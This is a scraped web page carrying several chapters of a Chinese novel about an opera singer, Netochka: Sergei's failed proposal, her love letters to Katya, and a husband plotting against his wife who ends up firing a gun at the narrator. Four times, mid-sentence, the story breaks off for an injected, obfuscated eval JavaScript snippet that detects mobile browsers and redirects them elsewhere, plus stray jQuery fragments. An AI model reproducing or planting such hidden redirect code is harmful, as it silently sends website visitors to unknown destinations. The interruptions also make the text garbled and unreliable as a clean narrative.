谢尔盖愉快地走到了我的左侧,做了一个邀请的手势。 从那之后,谢尔盖经常来剧院看我的演出,从最初的小剧院一路追随到彼得堡歌剧院。我小有名气之后,谢尔盖还时常开玩笑说要和我保持距离,以免外界流传出我和他的绯闻,影响我的名声。但每次演出结束后他还是会忍不住后台等我,有时同我简单聊一聊近况,有时会顺路送我回家。 他很喜欢笑,一笑起来本来英气的眉眼会变得温和,有时还会不经意间流露出害羞的神色。总之,这是一个生动而有温度的男人。 和谢尔盖的交流总是让我感到放松。他很健谈。他给我讲述了自己少年时代的经历:谢尔盖的父亲就是一位海军,十几年前因为出海时所在的船只遭遇了海上风暴不幸遇难。没过多久,谢尔盖的母亲就改嫁了,母亲的新家庭并不太欢迎谢尔盖。于是,谢尔盖立志考上了彼得堡海军学院,并在海军学院毕业后加入了俄国海军,继续父亲的事业。 同样坎坷的经历进一步拉近了我和谢尔盖之间的距离。互诉少年时期心事的那段时间也见证着我们友谊的真正开始。 我时常期待与谢尔盖的见面。与谢尔盖的相识让我久违地感受到了拥有朋友的欣喜。 然而,掌管缘分的神总喜欢制造一些意外、曲折来考验有缘的人儿。 事情发生在半年前。那天彼得堡下着瓢泼大雨,即将上演的剧目是《拉美莫尔的露琪亚》。演出开始前,不知为何我总感觉隐隐不安,心像被什么东西蛰了一口似的。谢尔盖跟我约定好下了船会来看我的演出。登台前,我特意向台下那个熟悉的位置扫视了几圈,但并没有找到那张熟悉的面孔。 演出开始。在第三幕露琪亚的“发疯场景”中有一段长达十分钟的演唱,难度很大,我即便是在状态很好的情况下也难以做到游刃有余。那天的演出就声乐而言并不是很稳定,下台以后我的情绪也并不高。我心不在焉地卸了妆,换了衣服,刚走出剧院的门,就看见一个淋的湿漉漉的年轻人站在我的面前。 “谢廖沙?”我惊讶地看着他。 他没有说话,径直走上前抱住了我。他抱得很紧,似乎要拼命把我揉进自己的身体里。我感觉肩膀生疼,有点窒息。 “疼,先放开我。”我挣扎着说道。 他犹豫了几秒,最后松开了我的身体。 “怎么了?发生什么事了?”我把他拉到剧院门口的屋檐下问道。 “我们的船在海上翻了,我差点没回来。” 他说的时候眼睛红红的,脸颊上流着的不知是泪水还是雨水。我太过惊讶,一时失语,只是呆呆地看着他。 缓了一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129306|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我才迟迟说道:“回来了就好。” 谢尔盖站在原地直直地盯着我。我被那炽热的目光盯得有些发慌。 突然,他一把握紧了我的手,“安涅塔,我们结婚吧?” 我有些惊慌地把手从谢尔盖的手中抽出来。 “怎么了?你不愿意吗?”他迫切地问道。 “你现在头脑不清醒,失去了理智。” “我现在无比清楚自己的内心”,他坚定地看着我,“我可是刚刚从死神手里逃出来啊。” “谢廖沙,可我一直把你当成好朋友。” “安涅塔,你也是我最好的朋友。但对我来说不仅如此。我爱你。或许,从很早的时候我就爱上你了。” 我后退了一步,“不要这样讲,谢廖沙。” “安涅塔,你怎么了?你不相信吗?让我告诉你,当我意识到自己可能再也回不来的时候,我第一个想到的就是你。我想到,我那么爱你,而你却不知道这件事情,这是多么遗憾啊。 至于我是什么时候爱上你的呢?我也不知道,或许是第一次来看你的演出,或许是在涅瓦河畔见到你那次……哎呀,那都不重要了!重要的是,我现在爱你。没错,我爱你。”谢尔盖的目光里洋溢着着幸福与激动。 我的心仿佛突然掉入一片沼虾泽里。不痛,甚至有片刻的温暖与柔软,但我明白情况其实很糟糕——我即将要失去一个好朋友了。 我看着谢尔盖激动的面庞,无奈地摇了摇头。 谢尔盖的笑容僵硬在脸上,随后眼里的光也逐渐消散了。 沉默了一会儿后,他开口问道:“如果我今天没有回来,你会为我感到难过吗?” “谢廖沙,为什么要问这种问题?我无法想象那样的情况,请不要让我做那种想象。你是我的亲人,我的朋友,是我很重要的人。” “可是我爱你,安涅塔,我爱你……” 我低下了头,不知道该如何回答他。 “安涅塔,我错了。我以为你是喜欢我的。” 谢尔盖双手捂住脸,长叹了一声。随后,便走入了雨中。 看着他的背影,不可否认的是,我感到了一丝失落,为什么男人和女人之间一定得是那种关系呢? 那次见面后,谢尔盖和我便失去了联系。直到,再次收到他的花和信。 我展开了那封信。 “安涅塔,我亲爱的!很久没见面了,可我每一天都在想你。我想念你的声音,你的笑容,你的眼睛——你的一切都牵动着我的心弦。我以为时间会帮我抚平伤痛,但我错了。时间只会让我越来越确信,失去了你我很难再次快乐。你不爱我,那又何妨呢?我爱你就够了呀! 我偷偷来看了你的演出,但我不敢告诉你。因为你的目光一落到我身上,我便会再次失去理智。请原谅我的不辞而别吧!我要去克里米亚了,可能是两年,也可能三年。谢廖沙会在远方一直爱着你,祝福你!我的天使,吻你的双手。С.С.” 看毕,我把信折好塞进了口袋里。我得到了一份诚恳的爱,可这份爱我无法回应。 这些天我所收到的异样目光都有了解释。不难想象,信的内容是如何从第一个看见的人口中一传十,十传百的。 流言,如同潜藏在水面下的水虫。无风时,水面上十分平静,看上去一片祥和。风起,水面漾起微波,而水面下,却已是暗潮汹涌,因为其中隐藏着许多“杀手”。 谢尔盖给我写信一事就是那阵风。我以为清者自清,却忘了人言可畏,许多事情传着传着就变味了。 5. 第12章 很快,在彼得堡上流社会的圈子里,我,彼得堡剧院的歌剧新星,和一位海军军官的故事成了贵妇们茶余饭后的谈资。当然,这故事里加入了许多添油加醋的成分。谢尔盖被描述成各种形象:已婚或是未婚,年轻或是年长,有钱或是有很多钱……总之,故事的版本很丰富。 我一向不去理会这些事情,但直觉告诉我,谣言甚至已经传到了莫斯科。 卡佳最近给我回信很慢。信中,她又称呼我为“您”了…… 我盯着信上略有生疏的文字,生气地把信丢到了一边。她难道愿意相信那些谣言吗?她明明知道被谣言中伤的苦闷,却不愿意理解我,当真是恃宠而骄惯了的大小姐! 一转念,我又笑着拿起了那封信。她在吃醋吗?她吃醋的样子多么可爱呀!她总是这么直白地表露自己的情绪,没有丝毫伪饰。我就喜欢这样的她啊!但我才不要向她解释呢!最近不给她写信了。我又把信丢到了一边。 阿列克桑德拉·米哈伊洛夫娜最近重新迷上了骑马。据家里的女仆称,她和彼得·阿列克桑德罗维奇的关系略有缓和。彼得·阿列克桑德罗维奇为了支持妻子的爱好,还特意重修了自家庄园的马场。 我去探望阿列克桑德拉·米哈伊洛夫娜的时候,她正穿着一身漂亮的骑马装,气喘吁吁地从马上下来。她看上去脸色略白,但心情不错。见我来了,她高兴地上前亲吻了我的双颊。 我们在马场附近的凉亭里坐下,女仆送上来茶水和点心。 “阿列克桑德拉·米哈伊洛夫娜,您最近怎么样?”我问。 “还可以,我亲爱的。你瞧,人是需要做自己喜欢的事情的。小时候我就喜欢骑马,要不是彼得新送了我一匹马,我真是差点忘了这件事情呢!” “哦?是彼得·阿列克桑德罗维奇送您的马?” “是啊!他前些日子不知为何突然对骑马感兴趣了,不仅重修了马场,还送了我一匹马。”她指了指不远处那匹拥有长长鬃毛的黑马,“它叫列夫,你看,它多么漂亮啊!” 我冷眼观察着“列夫”,的确,是匹精心挑选的顶极漂亮的马,而且一副桀骜不驯的姿态。 “我一定是呆在房间里太久没有出门了,流了好多汗。” 阿列克桑德拉·米哈伊洛夫娜不停用手帕擦着额头的汗珠,脸色看上去有些憔悴。 “您一向身体虚弱,骑马要有节制。” “知道啦,涅朵奇卡。瞧瞧你,现在真是个大姑娘了,什么都懂。” 我笑了笑,拿起一块精致的杏仁点心送入口中。 “好吃吗?” 我点了点头。 “家里新来了一位法国糕点师,点心都是她做的。” “您最近听说什么新闻了吗?” “你知道的,我几乎不参加社交活动,但彼得·阿列克桑德罗维奇说了几句关于你的事情。” “他怎么说的?” 阿列克桑德拉·米哈伊洛夫娜冷笑了一下,“无非是些陈词滥调。” “您相信他的话吗?” “一个字也不相信。”她转过头看着我,“涅朵奇卡,你是最优秀的姑娘,那些男人怎么能配得上你呢?” “您都没有听我说发生了什么,就愿意相信我。” “无论发生了什么,我都相信你。”她坚定地说道。 我的内心潮湿了一下。 “我的涅朵奇卡以后一定要幸福。” “什么是幸福呢?” “做女人要想得到生活的幸福,很难啊!”阿列克桑德拉·米哈伊洛夫娜看了眼不远处正吃草的马儿,“无论如何,不要压抑自己,要勇敢表达,勇敢追求幸福。” 我明白她说这话的意思,没有人比我更明白了。多年前误打误撞看到的那封信又浮现在脑海中。压抑的文字、刻骨铭心的情感和残酷的现实交织在一起,如同一味陈年苦药,即便回忆起来也令人无限痛苦。 “如果我爱的人无法和我在一起呢?”我问。 她一惊,随后露出痛苦又同情的神色,“涅朵奇卡,你……” “什么也没发生,请放心,我随便问问。” 她松了一口气,在胸前画了个十字。 “不过,如果实在遇到那种情况,就随着你的心走吧。”她沉默了一会儿又补充道。 “阿列克桑德拉·米哈伊洛夫娜”,我跪在她膝前吻了吻她的手,“我要去欧洲了。” “我亲爱的,我为你感到高兴!”她温柔地抚摸着我的发丝,像小时候那样,“你注定不囿于一方天地。去见识更广阔的世界吧!” 夕阳的余晖照在她苍白的脸庞上。不知为何,我眼里的她仿佛变成了一尊纯洁的雕像,不觉神思恍惚。 不久后,我随彼得堡歌剧院开启了首次欧洲巡演。那是我第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129307|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一次出国,我坐了很久的火车终于来到了曾充满渴望与憧憬的欧洲。 少时,漫长的寒冷冬夜,我经常蜷缩在被窝里,听阿列克桑德拉·米哈伊洛夫娜朗读安娜·拉德克利夫、简·奥斯汀、乔治·桑的小说。火车上,我不停想象着那些书中的画面将怎样在我眼前展开。 刚一踏上欧洲大地,新奇的、独特的、鲜活的感觉瞬间扑面而来,但同时,我也感到了一丝失望。我看到了多样的、充满魅力的巴黎、维也纳、伦敦……看到了它们的完美,同时,也看见了它们的瑕疵。 这里有高大瑰丽的教堂、皇宫,新建的桥梁,也有与彼得堡区别不大的景象:灯光昏暗的小酒馆、衣衫褴褛的醉汉、浓妆艳抹的妓女、瘦骨如柴的孩子……我在最富丽堂皇的音乐厅表演,同衣冠华丽的观众们打招呼、交流,也在破败的、狭窄的街道上行走,从最普通的百姓身上汲取灵感。 我思考艺术究竟是什么?它从何而来?它的受众群体究竟应该是哪些人? 在欧洲,我收获了不亚于俄国的鲜花与掌声,但那些欢呼、喝彩时而让我感到不真实。两个月后,我竟开始想念彼得堡了,想念阿列克桑德拉·米哈伊洛夫娜,还有卡佳。 我终于按耐不住给卡佳写了一封信。 “卡佳,虽然我对自己说,要有骨气一点,不要那么快就给你写信。但那简直是屁话,在你面前要什么骨气呢!我要告诉你,我想你了,我对你的想念简直到了不可思议的程度! 此刻,在欧洲,每天都有很多人围绕在我身边,我感到不孤独了吗?我一遍遍问自己,并没有。 亲爱的,我想与你,只想与你分享我看到的每一处美景,走过的每一条有趣的街道。我想和你一起去逛卢浮宫,在塞纳河畔共进晚餐,接着到公园踏着月光散步,一起大笑,尽兴而归。深夜到家,搞一瓶酒,喝个大醉,双双躺到床上。我不想和你聊艺术、聊音乐,虽然,你在这方面比任何人都有见地。可我更想和你聊一聊内心深处最细微的想法,我的开心与希冀、失落与痛苦。这些话只有你一个人能理解,我对此深信不疑。即便我们吵架、分离,但你一定是那个最懂我的人。 我越来越不需要掌声、名气、金钱,我只要你。我要你抱抱我,亲吻我的脸,告诉我,你爱我。 亲爱的,如果我让你生气了,请原谅我吧! 恨不得立刻飞到你身边的涅朵奇卡” 6. 第13章 给卡佳的信还没有寄到莫斯科,我便收到了彼得堡发来的紧急电报。电报上只有短短一行字,看到后我的心一沉——阿列克桑德拉·米哈伊洛夫娜出事了! 我心事重重地演完欧洲巡演的最后一场后便火速登上了从德国回彼得堡的火车。路程漫长而颠簸。 火车上,阿列克桑德拉·米哈伊洛夫娜苍白的脸庞和忧郁的神情一直在我的脑海里闪现,我有时会被自己突然闪现的某个念头吓到,不觉竟一身冷汗。 火车到达彼得堡后,我立刻赶往阿列克桑德拉·米哈伊洛夫娜的住处。一进门,我就看见了卡佳。我意外地愣在原地。我的出现令卡佳那双暗淡的眸子瞬间闪现出一丝明媚的光彩,但很快就被忧郁与痛苦覆盖了。 她来不及说话,只是上前抱我、吻我的双颊,我也回应着她同样的吻。她抱我抱得越来越紧,我感受着她的心跳,闻着她身上的味道,安全感溢满全身。我握住她的手,她顺势把手转过来与我十指紧扣。她的手掌柔软温暖,同时充满了力量。卡佳带着我来到了阿列克桑德拉·米哈伊洛夫娜的房间。 阿列克桑德拉·米哈伊洛夫娜一动不动地躺在床上,面色如同死人般苍白。我被她的样子吓到了,愣了好久才声音发抖地问道:“她死了?” “不,涅朵奇卡!”卡佳紧握着我的手,“她只是昏迷过去了。” “亲爱的,幸好你回来了。”彼得·阿列克桑德罗维奇的声音从房间一角响起,“我不幸的妻子如果知道了会很高兴的。她一周前骑马时从马上摔下来了,摔到了后脑。” 房间昏暗,我看不清他的表情,只觉得那声音虚伪冰冷。 “阿列克桑德拉·米哈伊洛夫娜很擅长马术,怎么会摔下来呢?” “再擅长马术的人也无法保证不会出意外。我已经请了彼得堡最好的医生,现在先耐心等待吧。” 我上前握住阿列克桑德拉·米哈伊洛夫娜的手,却意外看见了她手臂上的几个形状不一的红色斑块,“这是怎么回事?” “哦,应该是从马上摔下来时候磕碰到的。”彼得·阿列克桑德罗维奇忙解释道。 “看上去不像外伤。” “彼得·阿列克桑德罗维奇,如果您不介意的话,我认识一位莫斯科的名医,治疗头部重症相当有经验,不如我请他过来。”卡佳提议道。 “不用如此麻烦了。二位请放心,阿列克桑德拉·米哈伊洛夫娜是我的妻子,照顾她是我义不容辞的责任,我会为她请最好的医生的。”彼得·阿列克桑德罗维奇看似诚恳地说道。 “您当真关心她吗?” “我亲爱的,你这是什么意思?” “已经过去一周了,她还是这样躺在这里。” “头部受伤出现昏迷是很常见的。我们现在要做的就是让她有一个安静的空间恢复身体。最近还是少让外人来打扰她了。我们一起为她祷告吧!” 我和卡佳陪阿列克桑德拉·米哈伊洛夫娜呆了一会儿,然后便在彼得·阿列克桑德罗维奇的催促下离开了。 在门口,我们遇见了一个穿着时髦的年轻女人,她神色紧张地看了我们一眼。我仿佛在哪见过她,却想不起她是谁。我的大脑因过度疲劳和担忧而隐隐作痛,什么都想不起来。 我和卡佳上了马车。 “卡佳,你相信彼得·阿列克桑德罗维奇吗?”一上车,我就迫不及待地问道。 卡佳摇了摇头,“涅朵奇卡,我怀疑事情没有那么简单。” “你看出了什么?” “我感觉彼得·阿列克桑德罗维奇的悲伤是演出来的。没错,他带着面具。那面具下究竟是怎样的面孔?而且,他为什么要拒绝我从莫斯科请医生给阿列克桑德拉·米哈伊洛夫娜诊治呢?” “卡佳,有件事情我没有告诉过你。” “什么事?” “是很多年前的事情了。” 我叹了口气,把多年前在书房发现秘密信件的事情告诉了卡佳。听毕,卡佳气愤地摇了摇头,“这个卑鄙小人!你和姐姐受了多么大的委屈啊!” 马车在公爵府邸前停了下来。自从公爵一家搬离彼得堡,我已经很多年没有来过这里了。公爵府邸似乎比想象中小了一些。记得第一次来到这里的时候,我感觉自己像进了皇宫一般。 卡佳从莫斯科带来的女仆正在门口等着我们。 “爸爸嘱咐我说,一定要处理好阿列克桑德拉·米哈伊洛夫娜的事情再回去。”卡佳挽着我的手走下马车。 “公爵身体还好吗?” “年纪越来越大,远不如从前了。妈妈倒是身体很好,但她越来越回避姐姐的消息,仿佛那不是她的女儿一样。” “卡坚卡,幸好你来了。” “她是我的姐姐。” “如果你不在,我不知道要怎么办。除了你,世界上同我最亲密的人就是她了。” “亲爱的,我当然明白。”一丝温柔闪过她的眼底。 我和卡佳路过一楼空旷的大厅、布满法斯塔夫抓痕的楼梯、我曾被关禁闭的空房间、公爵的书房……往日的一切仍历历在目。 夕阳的余晖洒在落上灰尘的镶木地板上,我感觉头很晕,大脑涨涨的。卡佳的面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129308|164384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 庞在我眼前模糊,她的声音忽远忽近。恍惚中,我一个踉跄,险些摔倒。 “亲爱的,你看上去太疲惫了,我带你去休息。” “我没事。” ”瞧瞧你的脸色多么差。”卡佳严肃地说道,“我在你身边,不会让别人欺负你和姐姐。” 卡佳扶着我来到了卧室。我一头躺倒在床上。迷迷糊糊之中我感觉卡佳为我换上了睡衣、散开了头发,她的指尖划过我的头皮,酥酥麻麻的,很舒服。她坐在床边陪了我好久,最后亲吻了我的脸颊才离开。 沉重中带着一丝甜蜜的一晚。 醒来的时候,身上的疲惫已经褪去了许多,我茫然地看着紧闭的窗帘,不知时间过去了多久。我轻声唤了声“卡佳”。四周寂静。我光着脚走下床,打开房门。 “卡—佳—!” 我仿佛又变成了那个在无人的宫殿里迷失的孩子,执着地寻找着能让我心安的身影。 不一会儿,女仆安娜斯塔西亚从楼下急忙走了上来。 “安娜·格里高利耶夫娜,您醒了?” “卡佳在哪?”我问。 “一早就出门了。” “她去哪里了?” “她没说。不过,她让我叮嘱您在房间好好休息。” 我揉了揉脑袋,“现在几点了?” “已经下午三点了。” 这时,门外传来一阵急促的马车声。我匆忙跑下楼。 “卡佳!” 卡佳风风火火地走了进来,“亲爱的,你感觉好些了吗?” “卡佳,只不过一会儿没见着你我就如此想你!” 我不停地亲吻着她的脸颊,把头埋在她的脖颈处,眼泪浸湿了她的领口,“你去哪了?” “涅朵奇卡”,卡佳拉着我在沙发上坐下,“我去找了一位做木材生意的远房叔叔。我请求他跟彼得·阿列克桑德罗维奇做一笔生意,这笔生意能让彼得·阿列克桑德罗维奇大赚一笔。” “让那个小人大赚一笔?” “这不是重点。重点是,这件事能让他暂时离开彼得堡。这样,我们就有机会查清楚阿列克桑德拉·米哈伊洛夫娜的事情。” “你叔叔答应了吗?” 卡佳点了点头,“不出意外的话,彼得·阿列克桑德罗维奇明天就会离开彼得堡。” “太好了,卡佳!你小时候就那么聪明!”我吻了吻她的手,“那么接下来呢?接下来我们怎么做?” “彼得·阿列克桑德罗维奇一离开,我就让从莫斯科带来的医生去为她诊治。” “好。” 7. 第14章 彼得·阿列克桑德罗维奇第二天一早果然坐着马车匆匆离开了家。卡佳从莫斯科请的医生下午才能赶到,卡佳提议先去一趟马场。喂马的郭利亚是个和我年龄差不多大的小伙子,性格热情开朗。 “郭利亚!”我喊道。 郭利亚跑了过来,“小姐,您回来了?” “阿列克桑德拉·米哈伊洛夫娜的那匹马在哪?” “您是说‘列夫’?自从阿列克桑德拉·米哈伊洛夫娜出事,它就一直被关在马厩里。” “它平时有什么异常吗?” “除了有时候脾气有些暴躁,并没有什么异常。” “阿列克桑德拉·米哈伊洛夫娜出事那天你在场吗?” “在,但我没看到夫人是怎么摔下马的。等我回过神来,夫人已经躺在地上了。其实马场的地并不硬,但不巧的是,夫人的头部磕到了一块石头,所以伤势比较严重。” 我和卡佳在马场打探了一圈,并无所获。从马场回来后,天色渐暗。我们接上从莫斯科来的医生,便赶往阿列克桑德拉·米哈伊洛夫娜家。 到了之后,我看见门口停着一辆马车,一旁坐着的是彼得·阿列克桑德罗维奇的车夫。我心里正疑惑,门口传来彼得·阿列克桑德罗维奇的笑声。果然,他大步走了出来。 “二位又来了?快请进吧!”彼得·阿列克桑德罗维奇嘴角很隐秘地上扬了一下,“我今天特意去为阿列克桑德拉·米哈伊洛夫娜请了一位德国医生,他应该快要到了。” “您去请了德国医生?” “没错,这位医生相当有经验呢,二位大可放心了。”彼得·阿列克桑德罗维奇语气略带嘲讽,随后眯着眼睛看了眼莫斯科来的医生,“这位是?” 卡佳看了眼身旁的医生道:“我请的医生。” “哦,原来如此。不过他不用进来了,德国医生马上到了。” 彼得·阿列克桑德罗维奇一改昨日的“绅士”态度,变得态度轻蔑无礼。我和卡佳对视了一眼,走了进去。 不一会儿,德国医生果然到了。他检查地很仔细,但并没有得出什么新结论,只说阿列克桑德拉·米哈伊洛夫娜伤势严重,能活下来已经是神的恩赐。 德国医生离开后,彼得·阿列克桑德罗维奇便开始破口大骂医生的无用。他做戏一样的表演中夹杂着的一丝愉悦。表演结束,他冷漠地看了我们一眼,“我可怜的妻子目前需要清静。我不会再让外人来打扰她了。” “阿列克桑德拉·米哈伊洛夫娜醒苏醒之前,我是不会放弃的。”我坚定地说道。 “你最好摆正自己的位置,你不过是寄养在我们家的孤女。哦,对了。你还记得那封信吗?” “您又想用那封信威胁她吗?”卡佳冷笑了一声问道。 “您说笑了。我何曾威胁过她?是她自己无颜面对自己的过去,感到无地自容。” “您知道她为什么喜欢骑马吗?因为骑马时她会感觉到前所未有的自由。您口口声声说关心她,却用一封信囚禁了她多年。您就是她痛苦的源头!” “我让她痛苦了?那么谁考虑过我所受的屈辱呢?妻子和别人私通,我还要微笑面对?”彼得·阿列克桑德罗维奇一副深受其害的模样,“不如这样吧,我把这封信拿出来,让公爵和公爵夫人评评理,让公众评评理!” “你太卑鄙了!”我忍不住骂道。 “说起信的事,”彼得·阿列克桑德罗维奇轻蔑地看了我一眼,“你和她虽然没有血缘关系,但可真是如出一辙呢!” “你当真是疯了!” “亲爱的,先管好你自己的事吧!奉劝你一句,不要多管闲事。”他态度强硬地说道。 我看着那张狡猾的脸,心里一阵恶心,拉着卡佳走了出去。 从阿列克桑德拉·米哈伊洛夫娜家出来后,卡佳陷入了焦躁不安的状态。 “他为什么会突然回来?”她不可思议地问道。 “很明显,他已经知道了我们的计划。” “他怎么会知道?” “卡佳,我们被跟踪了。” 我已经习惯了彼得·阿列克桑德罗维奇的无耻与狡猾,所以我的反应并没有卡佳那么强烈。 “呸!卑鄙无耻!”卡佳开始破口大骂,“涅朵奇卡,你和姐姐是如何在这个小人身边生活这么多年的?尤其是姐姐!哦,她的婚姻生活是多么悲惨啊!我无法想象,她是怎么忍受过来的!” “卡佳,我们现在怎么办?”我感觉有些无力。 “不知道。不过,越拖下去阿列克桑德拉·米哈伊洛夫娜只会越来越危险。” 我和卡佳都陷入了沉默。 “对了!”卡佳突然说道,“我有一个朋友在警察局工作,我明天先去问问他的意见。” “你要去警察局?” “不,我们现在已经被跟踪了。我派人给他送个信,然后约在一个不起眼的地方见面。” “那好,一切小心。” 第二天一早卡佳就出门了。我在家里坐立不安。那封信还有彼得·阿列克桑德罗维奇无耻的笑不停在我的脑海里回荡。我感觉头疼欲裂。于是还没等卡佳回来,我便独自做了个大胆的决定。 我乔装打扮后,坐着带篷马车来到了彼得·阿列克桑德罗维奇家。趁没人时我从后门悄悄溜了进去。彼得·阿列克桑德罗维奇不在家。我沿着小时候常走的路线,小心翼翼地潜入了我原来的房间。 搬离彼得·阿列克桑德罗维奇家后,这是我第一次回到这个房间。房间里一切照旧,但由于疏于打扫,钢琴和窗台上都落了灰。我的房间有一个门直接通向彼得·阿列克桑德罗维奇的书房。 我轻轻按下门把手,门没锁。于是,我来到了书房。 我想找到那封信。那封信作为把柄,一定被藏在某个重要位置。我翻了他的书桌、书柜,都没有找到。目光落到房间一角的保险柜上,正当我打算跃跃欲试时,门口传来了脚步声。我紧张得大脑缺氧,心脏狂跳不止,但理智还是支撑着双脚迅速退回了我的房间。 我刚关上门,书房的另一侧的门就被打开了。彼得·阿列克桑德罗维奇走了进来,同时,还有一个女人。我把耳朵贴在门上。 “什么时候行动?”女人用法语低声问。 “亲爱的,先别急。公爵现在身体一日不如一日,等公爵一死,遗嘱生效,我们再行动。” “我可提醒你,最近那两位关注得很紧。万一事情败露,别说是财产,我们可要背负着杀人的罪名。” “放心吧,我不会让她们得逞的。我不是已经派人跟踪了她们吗?你瞧,昨天她们差点以为我要去莫斯科出差呢。” “反正万一事情败露,你大可推到我身上。”女人用不满的语气说道。 “亲爱的,别说笑了,你明知道我有多爱你,为了和你在一起我可是冒着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“奸夫□□,一对疯子!”我放声骂道。 “你都听到了?哈哈哈哈!听到了正好!省的我继续演戏了!”彼得·阿列克桑德罗维奇指着我说道,“演了那么多年的戏,明明你才是戏子!” “是,你不用再演戏了。我这就要去警察局揭露你们的罪行!” “你以为去了警察局就能救她吗?实话告诉你,没用了。” “禽兽不如的东西!” “她既然嫁给了我,就归属于我一人。我想怎么对她是我的事情。倒是你,小姐,总是插手我的家事。你知道我已经烦透你了吗?” “你也令我恶心透顶!以后你休想再伤害阿列克桑德拉·米哈伊洛夫娜。还有,公爵的财产你也休想得到一分。” “你以为你能决定一切吗?你以为有点小名声就了不起了吗?我告诉你,只要我动动手指,你立马就会在公众面前消失。” “少威胁我。”我冷笑了一声。 突然,彼得·阿列克桑德罗维奇掏出了一把手枪,枪筒直对着我。法国女人发出一声尖叫。 “小姐,是不是威胁你试试就知道了。” “来吧!这样你就更要杀人偿命了。”我说。 彼得·阿列克桑德罗维奇双眼投射出一抹强烈的杀机,嘴角如蚯蚓般扭动了一下,扣动了扳机。 8. 第15章 关于死亡的记忆——妈妈和叶菲莫夫的死亡,已经离我很远了。枪响的那一刻,那种遥远的、痛苦的感受又瞬间朝我逼近。我下意识地低了一下头,只觉得头皮一阵发麻。等到抬手去摸的时候,已是满手鲜血。我感觉双腿发软,跌倒在地。 眼前的人——彼得·阿列克桑德罗维奇和法国女人变得模糊、恶心。书房的门突然被打开了,卡佳带着一个陌生男人冲了进来。男人一把夺过彼得·阿列克桑德罗维奇的枪,将之制服在地。法国女人尖叫着跪在一旁。 卡佳朝我跑来,惊恐地看着我的伤口,却不敢触碰我。我看着她的脸,痛苦的感受消失了。鲜血从头部流过我的耳垂、脸颊、脖颈。卡佳不停呼喊我的名字,在对我说着什么。我朝她微笑着,慢慢闭上了眼睛。 我做了一个梦。 梦中我躺在一个四面白墙的房间里,房间里只有一张床。外面在下暴雨,窗户没有关,我感觉浑身冰冷,只好拖着疲惫的身躯从床上爬起来。但窗户怎么关也关不上。正为难时,窗户突然变成了一张张巨大的嘴。我惊讶地后退了几步,那一张张大嘴开始扭曲、变形。 狂风呼啸,暴雨倾盆。我不知道后来发生了什么,场景突然转换到我小时候的家里——和妈妈和叶菲莫夫一同居住的那个小阁楼。 音乐学院的女老师带着一个五六岁男孩突然来家访,那是一位我不太喜欢的老师。男孩流着鼻涕坐在我和妈妈的床边,无耻地笑着,露出几颗缺牙。我感到一阵恶心。后来,男孩居然跳起来踩到了我们的床上。我瞬间开始发怒,冲男孩和女老师咆哮了一通,把她们赶了出去。女老师带来的一篮水果也被我从窗户丢了出去。 妈妈不理解我为何如此生气,我却趴在桌子上哭了。 再次睁开眼睛时,我躺在一个陌生的房间,四周昏暗寂静。 我死了吗?我盯着天花板问。 这时,离我不远处响起了一个女人的声音,“醒了!醒了!” 接着是开门的声音,女人跑了出去。 没过多久,房间门口响起一阵急促的脚步声,卡佳和一位医生走了进来。她一看见我就气鼓鼓地盯着我。她那亮晶晶的、愠怒的黑眼睛瞬间让我感受到了尘世间生命的活力。 “卡佳。”我用虚弱的气息抚摸着她的名字。 “你当真是个任性的姑娘!” “亲爱的,我还活着,对吗?” “不,你死了!你现在同一群死人呆在一起!” “卡坚卡,你生气了?” “没有!”我的公爵小姐背过身去,“你是英雄,你最勇敢,知道对方有枪还冲上前!我哪里敢生你的气!” “当时那种情况,我没有其他办法。卡坚卡,请原谅我,我让你担心了。”我急着坐起来去拉她的手,却感觉头皮一阵发麻,只好又躺到在床上。 卡佳虽然语气强硬,但还是动作轻缓地放下我的手。她朝医生喊道,“快来给她瞧瞧!” 医生来到我身边复查了我头顶的伤。万幸的是,彼得·阿列克桑德罗维奇的子弹只划过了我的头皮,虽然流了很多血,但并不危及性命。医生为我换了药,交代了女仆注意事项便离开了。 “卡佳,彼得·阿列克桑德罗维奇在哪?” “被警察传唤了。” “他承认了吗?。” 